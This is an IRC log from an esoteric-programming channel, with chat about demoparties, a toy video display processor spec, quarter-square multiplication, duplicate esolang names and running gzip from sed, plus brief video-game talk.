00:02:10 -!- DHeadshot has quit (Ping timeout: 258 seconds). 00:05:38 -!- augur has quit (Remote host closed the connection). 00:12:00 -!- sebbu2 has changed nick to sebbu. 00:19:32 [wiki] [[Esolang:Introduce yourself]] M https://esolangs.org/w/index.php?diff=51731&oldid=51713 * Fractalwizz * (+243) fractalwizz Introduction 00:20:05 [wiki] [[Chance]] M https://esolangs.org/w/index.php?diff=51732&oldid=47049 * Fractalwizz * (+124) Added Interpreter Link 00:20:35 -!- augur has joined. 00:22:06 Yo guys !!! http://i.imgur.com/NiiUnVd.jpg 00:22:14 Live at Revision demoparty right now 00:22:24 A demo in Processing.js and Brainfuck 00:22:33 With brainfuck on the screen heh 00:24:50 -!- augur has quit (Ping timeout: 252 seconds). 00:32:43 -!- atslash has quit (Ping timeout: 240 seconds). 00:33:29 -!- atslash has joined. 00:36:06 -!- augur has joined. 00:40:30 -!- augur has quit (Ping timeout: 258 seconds). 00:43:33 looks vaguely like computer code stock photos 00:47:42 -!- augur has joined. 00:51:59 -!- augur has quit (Ping timeout: 240 seconds). 00:52:12 -!- hppavilion[1] has joined. 00:52:38 * hppavilion[1] writes a DO..IF construct 00:52:43 @massages-lood 00:52:43 \oren\ said 3d 3h 18m 19s ago: ⸶⸷⸸ are in unicode what are you talking about 00:52:50 pouet lists no web (or esolang) category at revision, I guess this is being screened out of competition 00:52:59 `unidecode ⸸ 00:53:00 U+2E38 TURNED DAGGER \ UTF-8: e2 b8 b8 UTF-16BE: 2e38 Decimal: ⸸ \ ⸸ \ Category: Po (Punctuation, Other) \ Bidi: ON (Other Neutrals) 00:53:05 \oren\: ...FUUUUUUUUUUUUUUU 01:10:31 looooooooooooooooooooooooooooooool 01:10:39 `unidecode 01:10:41 U+0002 \ UTF-8: 02 UTF-16BE: 0002 Decimal:  \ \ Category: Cc (Other, Control) \ Bidi: BN (Boundary Neutral) 01:10:44 -!- augur has joined. 01:11:20 `unidecode 01:11:21 U+0003 \ UTF-8: 03 UTF-16BE: 0003 Decimal:  \ \ Category: Cc (Other, Control) \ Bidi: BN (Boundary Neutral) 01:12:00 -!- augur has quit (Read error: Connection reset by peer). 01:12:30 -!- augur has joined. 01:16:55 -!- augur has quit (Ping timeout: 258 seconds). 01:30:38 -!- Zarutian has quit (Ping timeout: 240 seconds). 01:31:19 trn: are you at revision? that's awesome btw 01:31:54 sadly not currently 01:32:18 Just watching the stream since I couldn't be there 01:41:50 -!- augur has joined. 01:46:13 -!- augur has quit (Ping timeout: 240 seconds). 01:47:38 trn: it totally slipped my mind that revision was today. are you active in the demoscene? 01:48:29 My most recent project: http://www.pouet.net/prod.php?which=68783 01:52:22 [wiki] [[A1]] M https://esolangs.org/w/index.php?diff=51733&oldid=51730 * Orby * (+39) Changing specification to allow for different register widths. 01:53:06 orby: not active for many years 01:53:18 shame on you ;) 01:53:31 I DJ and I still follow the scene tho and use a lot of their music tools etc still 01:53:44 I could release stuff if I was less lazy etc I guess 01:53:44 cool 01:53:51 I go to compos when I can 01:54:15 yeah, I haven't been to any parties yet this year 01:54:29 I'm in the US, so not a lot of opportunity short of jumping the pond 01:54:38 I try to make it up to @party at least 01:54:58 yeah same 01:55:21 are you close to boston? 01:55:26 I like revision and Breakpoint but flying all over racks up the bills when we live in US 01:55:33 yes it does 01:55:40 and I'm Florida so nope 01:55:45 Soon Kentucky 01:55:58 ouch, you could almost get to revision faster than @party 01:56:02 Generally try to stay outta yankeedom :) 01:56:11 haha, nice 01:56:18 yeah, I'm in Baltimore, so right on the cusp 02:00:19 I'm always like "Oh, Revision" must be Easter 02:01:20 Revision is one of my fav events because it's got the wild compo and diverse stuff and a good scene 02:01:42 Much rather go to Revision than, say, defcon or something 02:05:51 I've never been to revision sadly. I hope to one day. 02:08:44 -!- sirnaysayer has joined. 02:17:29 [wiki] [[User:Orby]] M https://esolangs.org/w/index.php?diff=51734&oldid=51725 * Orby * (+0) 02:27:46 -!- hppavilion[1] has quit (Ping timeout: 268 seconds). 02:58:37 -!- MoALTz has quit (Quit: Leaving). 03:03:58 -!- sleffy has quit (Ping timeout: 240 seconds). 03:12:30 [wiki] [[Teriyaki]] N https://esolangs.org/w/index.php?oldid=51735 * Orby * (+1556) Created Teriyaki VDP Page! 03:14:37 [wiki] [[A1]] M https://esolangs.org/w/index.php?diff=51736&oldid=51733 * Orby * (+61) /* See Also */ Added link to Teriyaki 03:15:20 [wiki] [[Teriyaki]] M https://esolangs.org/w/index.php?diff=51737&oldid=51735 * Orby * (+43) Adding categories 03:29:47 no hardware implementation? isn't this exactly how CRT screens work? 03:38:29 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 03:43:07 Jafet: I don't know enough about NTSC to know whether or not per pixel interrupts are possible. I've never seen it in hardware (probably because it's insane). Maybe it's possible. Who knows? 03:43:49 If there are any engineers around who want to try it, be my guest 03:44:19 [wiki] [[Teriyaki]] https://esolangs.org/w/index.php?diff=51738&oldid=51737 * Orby * (+589) Updating with more details 03:44:55 well, real hardware uses synchronised clocks instead of interrupts, but I don't see it making a big difference 03:45:41 unless the display can send interrupts at arbitrary times… 03:45:47 yeah, but vdps usually raise interrupts on the cpu for vblank and sometimes hblank 03:46:10 btw I added a note in the spec about the hblank interval for scanline effects. mwahahaha 03:46:48 Once I get around to writing a vm with these specs I can't wait to write my first raster bars 03:46:52 it seems too easy to work around this by having the interrupt handler read from the double buffer (which programs will be using anyway) 03:47:44 something like that is clearly neccesary unless the vm restricts ram to something silly like 1k 03:47:57 which is probably what I'll do for fun :) 03:48:57 a vm with 1k of ram and a 200 mhz cpu 03:51:14 the atari vcs only had enough vram for 40 pixels and 256 bytes of ram 03:51:20 and look at what programmers did with that 03:59:41 heh 04:02:01 hm 04:02:11 can you reference other #defined functions in #definitions? 04:18:19 -!- augur has joined. 04:20:33 hello augur 04:22:41 -!- augur has quit (Ping timeout: 255 seconds). 04:22:45 I don't think the “very fast CPU” is meaningful either; even for buffered displays the CPU must match the average fill rate, but it doesn't need to be much faster (only a few extra cycles per pixel to handle the interrupt) 04:23:45 well, it depends on how quickly the CPU can handle interrupts; A1 shouldn't be hard because there are only a handful of registers to save 04:25:56 -!- Sgeo__ has quit (Read error: Connection reset by peer). 04:26:14 why not an assembly programming language where everything is a system interrupt 04:26:24 need to MOV something? INT! 04:26:50 also known as minix *cough* 04:27:50 lol @ Jafet 04:28:27 [wiki] [[Teriyaki]] https://esolangs.org/w/index.php?diff=51739&oldid=51738 * Orby * (+267) Ditched interrupts to force users to cycle count ;) Changed timing notes from microseconds to cycles to reflect the fact that the VDP should be on the same clock as the cpu 04:28:58 oh man, I can't wait to start writing effects for this stupid thing 04:29:03 what an absurd idea 04:29:56 I'm working on an extremely high level language if you're interested 04:30:16 I'm talking computer algebra systems 04:30:21 maybe even higher 04:31:21 -!- Sgeo has joined. 04:31:40 if high level languages were a race, it would win before the race even started 04:36:44 Jafet: I think with the current timing scheme, users will be forced to do something other than simply dump to a frame buffer during the vblank and copy values to the palette during the drawing period 04:37:04 as it would only leave 8 cycles per pixel to render a frame buffer 04:37:51 hmm, maybe that means my vblank numbers are too low 04:38:10 I wish I had more experience with how video signals are timed out 04:38:43 the only machines I have experience with this stuff on usually have around 100,000 cycles available during the vblank 04:38:51 obviously I have cycle counted since the 80s... 04:41:00 Hmm, yeah my vblank period is only about 2.5% of the refresh, that sounds low 04:48:39 [wiki] [[Teriyaki]] M https://esolangs.org/w/index.php?diff=51740&oldid=51739 * Orby * (+120) Updating timing with more realistic VBLANK numbers 04:55:27 [wiki] [[Teriyaki]] https://esolangs.org/w/index.php?diff=51741&oldid=51740 * Orby * (+3) /* Timing */ Cranking down timing for modesty 04:58:43 -!- sleffy has joined. 04:58:55 neh 04:59:04 Yay (tm) 04:59:22 -!- hppavilion[1] has joined. 05:04:43 HTTP/Vo/IP 05:05:26 VOIP 05:05:27 It's when you run HTTP by having someone do the request for you by reading them the request through Vo/IP, then having them read the response bytes back to you 05:05:31 rdococ: Vo/IP 05:05:36 Vio 05:05:37 p 05:05:40 ooh 05:05:42 esoteric protocol 05:06:33 EML: Esoteric Markup Language :P (ik it's not the same category as HTTP, but seeing as it's often related to HTML, meh) 05:07:30 rdococ: See: Project Xanadu 05:08:04 ? 05:08:24 [wiki] [[Teriyaki]] M https://esolangs.org/w/index.php?diff=51742&oldid=51741 * Orby * (-1) /* Strategies */ typo 05:09:36 rdococ: Lookitup 05:10:02 rdococ: When reading about Crocker's Rules, I came across the term "social communication protocol", which is an interesting concept 05:10:46 I wanted to come up with something original. seems like I never get to :c 05:11:28 also, when I search up "social communication protocol" I see search results about a disorder (apparently, everything in a child is now a disorder). 05:11:45 rdococ: https://is.gd/vekZ7Y 05:12:01 I just did that -_- 05:13:27 I waned to be original, but :/ 05:13:40 I can't make an EML with that masterpiece there 05:13:50 it'll just be like every single time I try to make a programming language 05:14:48 rdococ: Oh? 05:15:19 Actually, to be fair, I didn't see an actual markup language there - but I think that's the point 05:16:00 Additionally, there are probably more ways to improve paper. 05:16:13 [wiki] [[User:Orby]] M https://esolangs.org/w/index.php?diff=51743&oldid=51734 * Orby * (+97) Adding Teriyaki to projects page 05:18:47 For example, why have a semi-linear, fixed chunk of text at all? Have different subtopics that can be moved and dragged around for more customizable reading. 05:20:11 Why not get rid of the idea of webpages entirely, and just have a network of interconnected nodes, each one containing interactive information? 05:20:39 rdococ: I do think that the client should have more choice in presentation, and there should be a multi-layered approach to display where you can start with lower-level data 05:20:47 Exactly. 05:21:03 Like, I could just get the text and basic emphasis markup and not ask for as much styling information 05:21:28 Maybe we do need an esoteric markup language after all. 05:21:31 One problem: 05:21:33 it won't be esoteric :/ 05:21:44 :p 05:23:57 rdococ: I think the ultimate goal of esolangery is to get something so crazy it wraps around and actually has a decent use 05:24:23 I've never been good at that. 05:24:26 rdococ: Like, I designed Ingredients-based programming on a whim and I'm pretty sure it has real possibilities in security 05:24:38 And Quantum Computing needs an esolanger *now* 05:24:51 I don't understand quantum computing very well. 05:25:03 Do you want me to try nevertheless? 05:26:23 rdococ: I understand quantum computing 1000000 times better than you, which basically means I can say the words "hilbert space" and that's it 05:26:46 nice way to make me feel down 05:27:24 rdococ: That was meant to be self-detrimental 05:27:37 Really? 05:27:46 Yeah 05:27:47 Odd way to be self-detrimental, but okay. 05:27:57 rdococ: "which basically means I can say the words \"hilbert space\" and that's it" 05:28:06 rdococ: I mean, the point was also that quantum computing is *hard* 05:28:22 I still don't get it. 05:28:29 rdococ: I'm not sure it worked very well 05:29:03 What should I try and fail to create this time? 05:29:06 `? success 05:29:07 If at first you don't succeed, you fail. 05:29:21 `? fail 05:29:22 fail? ¯\(°​_o)/¯ 05:29:23 `? failure 05:29:24 failure? ¯\(°​_o)/¯ 05:29:37 `le//rn failure//If at first you don't fail, you succeed. 05:29:39 Learned 'failure': If at first you don't fail, you succeed. 05:29:50 `le//rn failure//If at first you don't fail, you fail later. 05:29:52 Relearned 'failure': If at first you don't fail, you fail later. 05:33:55 -!- atslash has quit (Quit: Leaving). 05:34:16 `? hppavilion[1] 05:34:17 hppavilion[1] se describe en las notas al pie. ¿Porqué no los dos? Nadie lo sabe. No es tan cluecless. Él aspira a ser más incomprensible que esta sabiduría. 05:34:19 `? xanadu 05:34:20 xanadu? ¯\(°​_o)/¯ 05:34:22 `? project xanadu 05:34:23 project xanadu? ¯\(°​_o)/¯ 05:37:47 -!- sleffy has quit (Ping timeout: 252 seconds). 05:39:51 -!- sleffy has joined. 05:46:37 orby: the obvious approach would be to render the first scanline during the vblank, then render the next scanline between interrupts 05:48:46 Jafet: Hmm, well during the scanline you'll need to update the palette, so that will eat up most of your time between scanlines 05:48:49 [wiki] [[DStack]] https://esolangs.org/w/index.php?diff=51744&oldid=45924 * -Dark-Phantom- * (+51) Online interpreter link 05:48:54 [wiki] [[ROOP]] https://esolangs.org/w/index.php?diff=51745&oldid=46059 * -Dark-Phantom- * (+49) Online interpreter link 05:49:23 I've rewritten the page to talk about timing in terms of cycles rather than seconds and ditched the interrupts under the assumption that the vdp will run on the same clock as the cpu anyway 05:50:19 so, assuming that most of the time during the actual scan will be eatten up by updating the palette, there are current 8192 cycles between scanlines to do stuff, which leaves 64 cycles per pixel if you want to do it the way you're talking about 05:50:58 the point is that any CPU that can handle the fillrate for a conventional video processor plus a few cycles per pixel interrupt can generally also handle this device without much trouble 05:51:53 it just needs to render ahead far enough that “difficult” pixels can be amortized 05:53:54 I think the lack of a frame buffer will definitely present a problem. I don't think there is enough time during the hblank to do very much, and certainly not enough time during the pixel interrupt to actually render anything. 05:54:26 It's definitely not impossible, by design. But I think it would be fun. 05:55:45 the VM I have in mind for it that I want to write wouldn't have enough ram to fill an entire framebuffer during the vblank 05:56:58 what I described works even if there are no vblanks or hblanks; the program can do calculations in between the interrupts 05:57:07 which interrupt? 05:57:15 the vsync or the pixel interrupt? 05:57:36 the pixel interrupts, which would be the only type remaining 05:57:57 the pixel interrupt only leaves room for a few cycles, definitely not enough to render anything interesting 05:59:06 I was describing the pixel interrupt as occuring every microsecond, and now I'm describing it as occuring every 64 cycles 05:59:47 -!- aiz11 has joined. 05:59:55 -!- sirnaysayer has quit (Quit: zonkzonk). 06:00:04 I get what you're saying, using a few cycles to copy from the scanline buffer and the rest to write to the new scanline buffer, but how much can you do in a few thousand cycles? 06:00:23 well, it varies greatly with the architecture 06:00:35 indeed 06:00:43 if you don't even have imul, let alone floating point, then it's going to be a bit constrained 06:01:26 I hope I don't come off as hostile toward your criticisms, thanks for taking a look at it, thinking about it, and discussing it with me 06:02:12 the whole reason I wrote up the spec for the vdp is that I'm planning a vm using this architecture https://esolangs.org/wiki/A1 06:02:28 which I think will be challenging and fun 06:09:58 man, imul. the last chip I wrote assembly code on with a multiplication instruction had a mul that used 120 cycles lol 06:10:35 good old tms9900 06:10:46 i'll take a 6502 any day 06:24:26 [wiki] [[Teriyaki]] M https://esolangs.org/w/index.php?diff=51746&oldid=51742 * Orby * (-17) /* Timing */ Still tweaking cycle counts to produce something that's easier to emulate 06:44:54 One fast way to make multiplication in software is by "quarter square" algorithm. If you want to multiply together 16-bit numbers, you can do that easily enough too 06:54:51 [wiki] [[Esolang:Introduce yourself]] https://esolangs.org/w/index.php?diff=51747&oldid=51731 * Beefster * (+263) /* Introductions */ 06:55:04 [wiki] [[Hanoiing]] N https://esolangs.org/w/index.php?oldid=51748 * Beefster * (+2114) Brag brag brag lazy formatting brag brag blah 06:56:54 [wiki] [[Hanoiing]] https://esolangs.org/w/index.php?diff=51749&oldid=51748 * Beefster * (+95) Wikipedia links 06:57:18 zzo38: yeah, when I'm writing stuff for cpus with no multiply instruction I am usually writing demoscene stuff, so I just use lookup tables 06:57:59 -!- sirnaysayer has joined. 06:58:33 [wiki] [[Language list]] https://esolangs.org/w/index.php?diff=51750&oldid=51667 * Beefster * (+15) Shameless plug for an esolang I made today. 06:58:43 "Quarter square" algorithm is using a (one dimensional) lookup table. 07:02:24 -!- hppavilion[0] has joined. 07:05:43 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 07:09:22 zzo38: ahh, I did not know that. cool. 07:16:54 with 1K of memory you might be limited to 4×4 multiplication tables 07:18:09 it may be no better than a long multiplication then, for 32-bit registers 07:18:28 -!- sirnaysayer has quit (Quit: zonkzonk). 07:18:55 > (32 `div` 4)^2 07:18:57 64 07:19:12 -!- sirnaysayer has joined. 07:23:02 alas, without a left shift you can't really make use of sub-byte tables, so I think long multiplication always wins 07:25:24 -!- viznut has quit (Ping timeout: 246 seconds). 08:02:47 -!- orby has quit (Ping timeout: 260 seconds). 08:03:43 -!- sleffy has quit (Ping timeout: 240 seconds). 08:19:06 -!- viznut has joined. 08:24:49 -!- hppavilion[0] has quit (Ping timeout: 268 seconds). 08:43:40 -!- erkin has joined. 08:52:07 -!- AnotherTest has joined. 09:00:27 -!- kiki` has joined. 09:22:37 `? life 09:22:40 ​‘Life,’ said Marvin, ‘don't talk to me about life.’ 09:44:20 `? lisp 09:44:21 lisp? ¯\(°​_o)/¯ 09:58:26 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 10:12:36 don't talk to me about lisp 10:13:30 ((why not?)) 10:37:31 > let f n = n^2 `div` 4 in [(a,b) | a <- [0..127], b <- [0..127], a*b /= f (a+b) - f (a-b)] 10:37:33 [] 10:46:32 Still tricky with just 1k of memory; but I guess one can implement a decent 8x8->16 bit multiplication with a 512 (maybe 514) byte table. 10:53:33 `? vmd 10:53:35 vmd? ¯\(°​_o)/¯ 11:14:17 -!- MoALTz has joined. 11:16:35 Jafet: how about this: http://sprunge.us/cHaP?c 11:23:27 -!- aiz11 has quit (Remote host closed the connection). 11:30:26 But if AI is your target platform I wouldn't worry about multiplication... how would one even test a < b efficiently? 11:30:35 Err, A1. 11:33:00 `? a1 11:33:01 a1? ¯\(°​_o)/¯ 11:34:40 -!- boily has joined. 11:36:43 By some algebra, you could see that ((x+y)^2-(x-y)^2)/4=xy so if you store the quarter of square of the numbers in the table, then you can use that to calculate the multiplication. 11:55:26 zzo38: that's what the code does 11:56:02 (I reconstructed the idea from the "quarter square" keyword.) 11:56:19 OK 12:00:31 ooh 12:00:33 quarter square 12:00:41 sounds... squary 12:03:28 * boily happily mapoles rdococ for great nutrition 12:03:51 `? rdococ 12:03:58 er 12:03:58 rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom. 12:04:12 `le//rn rdococ//rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom & mapoledom. 12:04:15 Relearned 'rdococ': rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom & mapoledom. 12:07:13 quarter square 12:08:47 wait 12:09:02 how would A1 implement squaring? 12:12:02 do you want me to try to design a higher level language that compiles to A1? 12:15:06 no? 12:15:07 > scanl (+) 0 [1,3..] 12:15:10 [0,1,4,9,16,25,36,49,64,81,100,121,144,169,196,225,256,289,324,361,400,441,4... 12:15:19 int-e, ^^ 12:15:33 that's the standard way of precomputing a squaring table if you don't have multiplication: add the first k odd numbers. 12:15:36 integral-ello. 12:15:47 ah 12:15:56 that's cool 12:16:31 > scanl (+) 0 [0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8] -- squares divided by 4 are also easy. 12:16:33 [0,0,1,2,4,6,9,12,16,20,25,30,36,42,49,56,64,72] 12:16:50 floored? 12:16:57 yes, floored 12:17:13 so the / in ((x+y)^2-(x-y)^2)/4=xy is integral division? 12:17:23 well, it's exact 12:17:27 ah 12:17:49 but you can rewrite it as (x+y)^2/4 - (x-y)^2/4 with integer division. 12:17:56 (quartersqrt(x+y)-quartersqrt(x-y)) 12:17:59 ah 12:17:59 k 12:18:11 and that allows you to use integer division? 12:18:12 interesting 12:18:13 because the rounding errors (if x+y and x-y are odd) cancel each other. 12:18:16 kinda makes sense 12:18:17 ah 12:18:21 now that's cool 12:18:26 huh, so A1 isn't actually subleq 12:18:41 now I wish I came up with that :c 12:19:49 should I try designing (not implementing) a higher-level language that compiles to A1? 12:20:08 ofc it'd use Teriyaki too 12:20:14 Jafet: yeah, kind of unfortunate 12:20:47 is there a way to calculate the quartersquare series in A1? 12:21:03 Jafet: of course one can use a lookup table to implement comparison 12:21:17 Jafet: but that feels... awkward. 12:21:19 I also wanted to nitpick orby that teriyaki isn't actually a sauce outside of america, but the system design had more pressing issues 12:21:26 (such as this one) 12:21:55 A1 looks purplish... 12:22:03 Should I try designing a higher-level language that compiles into A1 assembly? 12:22:13 @ask orby hellorby. have you heard of aubergine and is family? 12:22:14 Consider it noted. 12:22:19 if so, what to call it? 12:22:30 Jafet: are you sure? 12:23:23 Ah, subtle, a cooking technique. Fair enough. Easy misconception to acquire :) 12:24:02 again, should I try designing a higher-level language that compiles into A1 assembly? 12:24:16 I know you can make teriyaki without sauce, because I have had it. 12:24:20 But nevertheless, the technique does seem to involve a special sauce. 12:24:26 only in america is the abomination known as “teriyaki sauce” made separately and added to the food, instead of being produced by cooking 12:24:37 ah. 12:24:47 sounds american. 12:26:29 That is unfortunate, teriyaki produces incredibly tender meat. 12:26:52 . o O ( I might try it some time ) 12:30:12 -!- boily has quit (Quit: BROOK CHICKEN). 12:30:17 Oh well, it's no worse than Peking duck. 12:32:17 * rdococ peks 12:32:23 (Of course that is actually a very decadent food, and not what people expect when they hear "duck" in connection with food.) 12:32:46 int-e: should I try designing a higher-level language that compiles into A1 assembly? 12:33:02 I guess it won't be much different to regular ones :/ 12:45:17 so for multiplication all you need is {quartersquare, subtract, 0} or {quartersquare, subtract, add} 12:45:42 you don't really need 0 if you have subtract 12:45:48 perhaps 12:45:58 ah 12:46:01 x - x = 0 12:46:01 duh 12:46:57 so all you need for multiplication is {quartersquare, subtract}. from there you can multiply quartersquare by 4, or multiply something by itself, to get square 12:48:30 well, now we have a simpler multiplication algorithm for subleq? 13:15:48 -!- kiki` has quit (Quit: Connection closed for inactivity). 13:19:12 -!- contrapumpkin has quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…). 13:23:53 as an exercise, I'm trying to implement the quartersquare multiplication method in brainfuck. 13:28:59 s/square/sqrt 13:30:19 -!- wob_jonas has joined. 13:31:02 orby: 128 bytes of ram (not 256 bytes) if you're thinking of the Atari 2600 13:34:42 how could you do anything with that... heh 13:41:01 -!- contrapumpkin has joined. 13:42:34 This is why Color a dinosaur is such an important tech demonstration. 13:43:22 How do you do flood filling with just tiles and sprites? 13:44:00 It's magic. 13:48:26 for example, how to quartersqrt in bf? 13:51:35 w/o a lookup table 14:00:49 even w one 14:01:00 -!- h0rsep0wer has joined. 14:05:20 -!- Jauler has joined. 14:06:37 Hey, maybe someone does recognize what esoteric language this could be? "3>3<8>5<10>10<8>3<6>10<8>2<8<1<2>6>5<7>6<2<8>1>6<3<3>7>11<2<9>9<6>2<4<5>8>8<4>3>3<8<1>7>3<1<7>1>12<5>3<3<12>8<1<2<3>1>2<2>1>1<1<1>1<2>2<1>1<" 14:12:53 it's C++ templates hth 14:13:32 i would consider that esoteric 14:13:49 alercah: no, that would need commas 14:14:04 (also identifiers) 14:14:54 hmm 14:15:13 I doubt that this could be C++ templates as those should have matching "<" and ">" pairs 14:15:16 :/ 14:15:20 maybe it's part of some obfu code in some other language, and there's some code processing that string or something 14:15:29 might be 14:21:12 [wiki] [[Esolang:Introduce yourself]] https://esolangs.org/w/index.php?diff=51751&oldid=51747 * Bojidar-bg * (+343) 14:21:29 PCG has a shitton of esolangs, so it's hard to see which ones are actually popular (say, used by more than one people to write multiple programs). I'd like to know which ones are, because we should make an article of those on the esowiki 14:21:32 [wiki] [[Chance]] M https://esolangs.org/w/index.php?diff=51752&oldid=51732 * Bojidar-bg * (-14) Remove wrong use of "percent" 14:27:11 -!- Jauler has quit (Ping timeout: 260 seconds). 14:27:55 aren't most of them already on the wiki, at least as stubs? 14:28:14 though, the one just asked about isn't 14:28:27 Jafet: I don't think so. At least not if you count them unweighted: 14:29:35 there are a lot of stupid "languages" that people make up because they think it's hip to write a javascript interpreter on github of a language that can print strings or whatever, and then post two examples of it (a hello world and a factorial or fibonacci or whatever) and that's all there is 14:30:17 but I think there are actual better languages of which we're missing articles yet, simply because the esowiki has a small community and nobody's met those languages yet 14:32:37 seriously, I think there are more pointless stupid languages on PPCG than on esowiki 14:32:37 again, unweighted 14:34:47 I doubt so; they at least have the quality of having one working program in them 14:35:45 the wiki has, what, 1000 Category:Languages? 14:38:10 anyway, you can probably extract some kind of language list by parsing all the answers on the stackexchange site 14:38:54 Jafet: yeah, and a few dozen other articles that are languages but not in the category 14:39:14 Jafet: yes, perhaps you could do that, but I'm lazy 14:42:00 since you are lazy (and, furthermore, I am also lazy), we could just wait for the people in the ppcg esolangs chatroom (apparently there is one? darth decisive oerjan may know) to decide which of their esolangs are good and add them to the wiki 14:43:22 is HODOR and Hodor the same language? 14:43:57 https://codegolf.stackexchange.com/a/58357/6691 vs http://www.hodor-lang.org/ 14:44:00 they're both OISCs, presumably? 14:44:26 no, I don't think so 14:44:28 sadly, no 14:44:40 I think they're more like Ook! 14:44:50 as in, a language pronouncable by someone with a very reduced vocabulary 14:45:25 I think these are actually two different programming languages 14:45:44 maybe, but the first page links to the second 14:45:54 crazy stuff 14:45:59 uh, wrong links then 14:45:59 wait 14:46:23 https://github.com/ValyrioCode/Hodor vs http://www.hodor-lang.org/ 14:46:23 sorry 14:46:41 -!- `^_^v has joined. 14:50:15 might be difficult to create wiki articles for both languages, then 14:51:02 Jafet: we already have pairs of pages for identically named languages, and there are more for which we don't have pages yet. that never stopped us 14:52:02 hmm the two SLOBOL articles don't even link to each other 14:53:13 some of the clashes are because some people like to give single-letter names to their languages, so there are multiple languages named V or A or Y 14:53:23 some are because people give deliberately confusing name to an esolang, like GHC and GCC 14:53:52 the case of Hodor may be an accident for all I know 14:54:31 and "x86" as an esolang name is probably an accident too: they named the esolang that before that name got well spread used for the cpu architecture 14:55:19 then there's "MIX" which was given as a name for some insignificant esolang way after the much more famous esolang was well established 14:55:24 that's just rude IMO 14:57:44 The Hodor one is confusing, I'll create a page on the esowiki just to avert the confusion when someone talks about Hodor and someone else thinks it's the other Hodor. 14:57:56 [wiki] [[Hodor]] N https://esolangs.org/w/index.php?oldid=51753 * B jonas * (+252) Created page with "'''Hodor''' is the name of two esoteric languages, with homepage https://github.com/ValyrioCode/Hodor and http://www.hodor-lang.org/ respectively. One of them might actually..." 15:03:02 I wonder if either language is actually interesting enough to write a page about 15:03:48 Jafet: I dunno, but there are hundreds of languages for which I could ask that, so I don't particularly care about Hodor there 15:04:05 -!- h0rsep0wer has quit (Quit: Leaving). 15:07:57 [wiki] [[Hello world program in esoteric languages]] https://esolangs.org/w/index.php?diff=51754&oldid=50877 * B jonas * (+73) 15:08:52 [wiki] [[Hello world program in esoteric languages]] https://esolangs.org/w/index.php?diff=51755&oldid=51754 * B jonas * (+21) 15:21:55 -!- moonythedwarf has joined. 15:24:18 -!- Zarutian has joined. 15:24:37 -!- Soni has joined. 15:24:47 how can I port gzip to sed? 15:25:18 `relcome Soni 15:25:20 ​Soni: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 15:25:25 Soni: gzip or gunzip? 15:25:25 as in, do you want to decompress only, or compress too? 15:25:40 I need both 15:25:58 I wanna sed compressed files using a self-contained sed script 15:26:23 in other words, I can't call gzip 15:27:53 Soni: shell out to an external command, sed can do that; if you don't want that, and want to do the computation in sed, then start from https://pts.50.hu/muzcat-mini-latest.tar.gz which has gzip decompression code translated from a template to many programming languages, 15:28:28 and from the famous dc.sed program (iirc included in the sed source code) which shows how to do arithmetic in dc (but beware, I think one of the comments in that source code is a lie), 15:28:34 wait, sed can call external commands? 15:28:39 yea it can 15:28:44 I can write a git remote helper in sed? O_o 15:28:53 yup, just try hard enough 15:29:02 wow, ok 15:29:10 'e' is the character used to run a command from the current string i believe 15:29:40 and for compression, perhaps just do fake compression where you store uncompressed stuff in gzip format (there are two ways for that, an easy where the whole file is uncompressed, and a subtle where it appears to be compressed but actually everything is literal blocks in the compressed format) 15:29:50 Soni: yes, it can, read the manual 15:31:12 I think the commands are r! and w! but I'm not sure 15:31:13 I don't use sed for such things 15:32:35 and hope you have a sane sed, not one of those ancient versions that can only handle lines of up to 4096 bytes long 15:34:28 GNU sed? 15:35:21 gnu sed is probably the best 15:35:36 I wish it had a JIT 15:35:48 `sed "this isnt how you sed, but feel free to test your ideas here" 15:35:48 ​/bin/sed: -e expression #1, char 1: unknown command: `"' 15:35:53 `help 15:35:53 Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch [] " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ 15:35:55 gnu always takes the zero-one-infinity rule seriously. too seriously, IMO, so much that it hurts them. 15:43:16 -!- orby has joined. 15:43:56 `help 15:43:57 Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch [] " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ 16:08:59 `sed s/.*/hello/ 16:09:16 Hmm 16:09:25 I guess stdin might not be closed 16:09:29 No output. 16:09:44 `` sed 's/.*/hello/' No output. 16:09:48 I think that's a no-op unless sed gets at least one line of input 16:09:50 oh, well duh 16:10:13 `sed s/.*/hello/ 16:10:13 no, it's just slow 16:10:25 there should be a /dev/newline that's just a single newline followed by EOF 16:10:28 -!- CodingBat has joined. 16:10:43 No output. 16:10:52 olsner: you can use a regular file for that 16:25:13 -!- erkin has joined. 16:35:20 -!- CodingBat has quit (Quit: Page closed). 16:38:37 niec 17:29:20 <\oren\> Apparently Fascist South Africa can still abolish apartheid 17:30:14 <\oren\> I've been quite successful. I conquered Britain 17:31:22 \oren\: is this a video game? what game? 17:31:41 <\oren\> Hearts of Iron IV 17:32:00 <\oren\> I'm trying to get all the ahievements 17:32:06 I see 17:32:24 <\oren\> I have 19 out of 45 17:32:35 in a single game, or multiple games together? 17:32:46 <\oren\> you can't get all of them in one game 17:32:59 ok 17:33:23 <\oren\> some are things like "As south africa, have Edward VIII as your king and own jerusalem" 17:33:48 <\oren\> or "As Netherlands, conquer Belgium and Luxembourg" 17:38:16 One thing I wanted to ask is, in Questionable Content, is Faye a PC (protagonist character or player character)? Because when she interviewed to the fight ring, she mentioned adding spikes to an armor, which sounds close to something a PC shouldn't be allowed to do. 17:39:26 If a PC can just upgrade armor to better armor without insane expense, that can come close to broken power level, when she just makes herself +12 weapons and full gear of +12 armor early and become invincible. There's a good reason why PCs are normally required to farm 